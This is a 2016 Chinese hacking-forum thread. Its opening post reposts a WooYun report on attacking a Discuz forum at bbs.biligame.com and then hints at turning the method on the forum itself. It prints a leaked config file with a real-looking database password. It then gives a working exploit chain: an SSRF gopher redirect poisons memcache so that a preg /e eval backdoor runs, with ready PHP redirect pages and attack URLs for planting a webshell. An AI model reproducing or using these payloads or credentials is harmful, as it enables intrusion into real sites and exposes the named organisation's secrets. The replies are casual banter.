人=族 发表于 2016-7-10 19:30:15

论 红盟的安全性

本帖最后由 人=族 于 2016-7-11 19:58 编辑

乌云案例:   

()dz ssrf 太多官方都修不过来)

今天来说说一个关于discuz的神洞,有必要的话稍后再提交给官方。
详细说明:
这个只是memcache的案例,如果是redis更好利用了



0x00 前言

扫描器时常会扫描到一些信息泄露,如discuz的配置文件 /config/config_global.php~

里面时常带有数据库密码等,但又苦于内网,十分尴尬。
http://static.wooyun.org/wooyun/upload/201605/2823551226cbe4aa7a07f90e2f657c2df16dfb5b.png

0x01 个例分析

以bilibili这个为例

http://bbs.biligame.com/config/config_global.php~



code 区域
<?php
$_config = array();

// ----------------------------CONFIG DB----------------------------- //

$_config['db']['1']['dbhost'] = '192.168.10.10';

$_config['db']['1']['dbuser'] = 'gamebbs';

$_config['db']['1']['dbpw'] = 'HdUbOY2YCAoKi3U0';

$_config['db']['1']['dbcharset'] = 'utf8';

$_config['db']['1']['pconnect'] = '0';                                 //此处禁止修改!

$_config['db']['1']['dbname'] = 'gamebbs';

$_config['db']['1']['tablepre'] = 'bbs_';

$_config['db']['slave'] = '';

$_config['db']['common']['slave_except_table'] = '';



// --------------------------CONFIG MEMORY--------------------------- //

$_config['memory']['prefix'] = 'NTOSSw_';

$_config['memory']['redis']['server'] = '';

$_config['memory']['redis']['port'] = 6379;

$_config['memory']['redis']['pconnect'] = 1;

$_config['memory']['redis']['timeout'] = '0';

$_config['memory']['redis']['requirepass'] = '';

$_config['memory']['redis']['serializer'] = 1;

$_config['memory']['memcache']['server'] = '192.168.10.12';

$_config['memory']['memcache']['port'] = 11211;

$_config['memory']['memcache']['pconnect'] = 1;

$_config['memory']['memcache']['timeout'] = 1;

$_config['memory']['apc'] = 0;

$_config['memory']['xcache'] = 0;

$_config['memory']['eaccelerator'] = 0;

$_config['memory']['wincache'] = 0;




注意到使用了 memcache

如果有留意到 vBulletin rce http://drops.wooyun.org/papers/8261,

相信都被这个漏洞的巧妙之处所吸引。



那么,这discuz是否也存在同样的漏洞呢?

于是查找调用缓存的地方

\source\function\function_core.php



code 区域
function output_replace($content) {

      global $_G;

      if(defined('IN_MODCP') || defined('IN_ADMINCP')) return $content;

      if(!empty($_G['setting']['output']['str']['search'])) {

                if(empty($_G['setting']['domain']['app']['default'])) {

                        $_G['setting']['output']['str']['replace'] = str_replace('{CURHOST}', $_G['siteurl'], $_G['setting']['output']['str']['replace']);

                }

                $content = str_replace($_G['setting']['output']['str']['search'], $_G['setting']['output']['str']['replace'], $content);

      }

      if(!empty($_G['setting']['output']['preg']['search']) && (empty($_G['setting']['rewriteguest']) || empty($_G['uid']))) {

                if(empty($_G['setting']['domain']['app']['default'])) {

                        $_G['setting']['output']['preg']['search'] = str_replace('\{CURHOST\}', preg_quote($_G['siteurl'], '/'), $_G['setting']['output']['preg']['search']);

                        $_G['setting']['output']['preg']['replace'] = str_replace('{CURHOST}', $_G['siteurl'], $_G['setting']['output']['preg']['replace']);

                }



                $content = preg_replace($_G['setting']['output']['preg']['search'], $_G['setting']['output']['preg']['replace'], $content);

      }



      return $content;

}




真发现有一处。

这里的$_G['setting']['output']['preg']['search'] 和 $_G['setting']['output']['preg']['replace']是直接调用缓存中的数据。



并且,discuz的ssrf是存在多处的,并且官方估计也很难去修复。

WooYun: Discuz!另一处SSRF无须登陆无须条件



于是测试,居然发现服务器支持gohper 协议呀。

下面说说利用过程吧。discuz的漏洞详细分析有必要的话稍后再提交给官方。

漏洞证明:
0x02 漏洞利用

测试利用转发代码

code 区域
<?php

header('Location: gopher://自己服务器:80/_%0d%0aset NTOSSw_setting 1 0 147%0d%0aa:2:{s:6:"output";a:1:{s:4:"preg";a:2:{s:6:"search";s:5:"/.*/e";s:7:"replace";s:33:"eval(base64_decode($_POST));";}}s:13:"rewritestatus";i:1;}%0d%0a');

?>




测试返回如下图

http://static.wooyun.org/wooyun/upload/201605/290006463f3f0e425241920f467dddd2eeeaece2.png

http://static.wooyun.org/wooyun/upload/201605/290006531ddfa25b03cd5ddb6c3c95cc93eec2a1.png



万事俱备了,行动

先准备好两个页面,便于写完shell后还原。

wshell.php

code 区域
<?php

header('Location: gopher://192.168.10.12:11211/_%0d%0aset NTOSSw_setting 1 0 147%0d%0aa:2:{s:6:"output";a:1:{s:4:"preg";a:2:{s:6:"search";s:5:"/.*/e";s:7:"replace";s:33:"eval(base64_decode($_POST));";}}s:13:"rewritestatus";i:1;}%0d%0a');

?>




cls.php

code 区域
<?php

header('Location: gopher://192.168.10.12:11211/_%0d%0adelete NTOSSw_setting%0d%0a');

?>




请求

http://bbs.biligame.com/forum.php?mod=ajax&action=downremoteimg&message=http://myserver/wshell.php?logo.jpg



完成后,立即请求shell地址



http://bbs.biligame.com/forum.ph ... tion=getthreadtypes



从上面可知,这是一句话,由于要绕过waf,所以base64一下。



http://static.wooyun.org/wooyun/upload/201605/290011587a99349083c2fc8bc8e9d27addfd2426.png




写入文件shell



http://bbs.biligame.com/forum.ph ... nremoteimg&message=http://myserver/cls.php?logo.jpg



还原缓存



最后一句话地址为:

http://bbs.biligame.com/data/cache/hello.php


http://static.wooyun.org/wooyun/upload/201605/2900132367e2ce9894e10a490d624d6feeca177f.png



有个吊毛 说要黑掉 红盟 我觉得这是弯道超车 的好办法




没看见他来 昨天   这货跑去干这个


昊情· 发表于 2016-7-10 19:42:43

这叼毛

细草微风岸 发表于 2016-7-10 19:51:05

我就呵呵了( ̄▽ ̄)"

visual 发表于 2016-7-10 22:38:14

b站其实被别人日过一遍 不知道是不是这种方法

90_ 发表于 2016-7-10 22:46:12

你这个标题取的让我不禁哆嗦了一下

porry 发表于 2016-7-11 18:00:20

http://7xjtl9.com1.z0.glb.clouddn.com/QQ%E6%88%AA%E5%9B%BE20160711175837.jpg 人家是说劫持 ,你是故意拉仇恨的吧,我也在哪个群

人=族 发表于 2016-7-11 19:55:08

RE: 论 红盟的安全性

porry 发表于 2016-7-11 18:00
人家是说劫持 ,你是故意拉仇恨的吧,我也在哪个群

你以为是冰儿的红盟啊;P

clocks 发表于 2016-7-12 00:19:35

那么容易随便被盖帽子,,论坛安全维护组那群人就该蹲墙角画圈圈了;P;P;P:lol:lol:lol
精神支持你盖一下90帽子;P 真成功盖帽子我给你发礼品;P

wanshine 发表于 2016-7-12 08:43:54

我就呵呵了

iCole 发表于 2016-7-12 11:19:05

RE: 论 红盟的安全性

porry 发表于 2016-7-11 18:00
人家是说劫持 ,你是故意拉仇恨的吧,我也在哪个群

马赛克呢
页: [1]
查看完整版本: 论 红盟的安全性